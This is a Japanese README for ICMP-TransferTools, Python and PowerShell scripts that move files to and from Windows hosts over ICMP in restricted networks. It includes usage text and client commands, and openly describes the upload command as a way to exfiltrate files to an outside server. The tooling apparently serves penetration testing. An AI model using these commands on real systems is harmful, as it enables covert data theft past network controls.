
制限されたネットワーク環境において、ICMP経由でWindowsホストとの間でファイルを転送します。
ICMP-TransferTools は、制限されたネットワーク環境で Windows ホストとの間でファイルを移動するために設計されたスクリプト群です。これは、各転送方向(ダウンロードとアップロード)に対して python サーバーと powershell クライアントで構成される合計4つの異なるファイルを使用して実現されます。
唯一の依存関係は、Python スクリプトの1つに必要な Impacket です。次のように pip でインストールできます。
pip3 install impacket
含まれている ICMP-SendFile.py と Invoke-IcmpDownload.ps1 スクリプトを使用して、ICMP 経由で Windows ホストにファイルをダウンロードできます。
まず python サーバーを実行して、ダウンロード用のファイルをステージングする必要があります。スクリプトの使用方法は以下の通りです。
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
インポート後、powershell クライアントを使用してステージングされたファイルを次のようにダウンロードできます。
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
以下に簡単なデモを示します。

含まれている ICMP-ReceiveFile.py と Invoke-IcmpUpload.ps1 スクリプトを使用して、ICMP 経由で Windows ホストからファイルをアップロード/外部流出させることができます。
まず python サーバーを実行して、クライアントからのリクエストを受け入れる準備ができていることを確認する必要があります。スクリプトの使用方法は以下の通りです。
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
インポート後、powershell クライアントを使用して目的のファイルを次のようにアップロードできます。
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
以下に簡単なデモを示します。
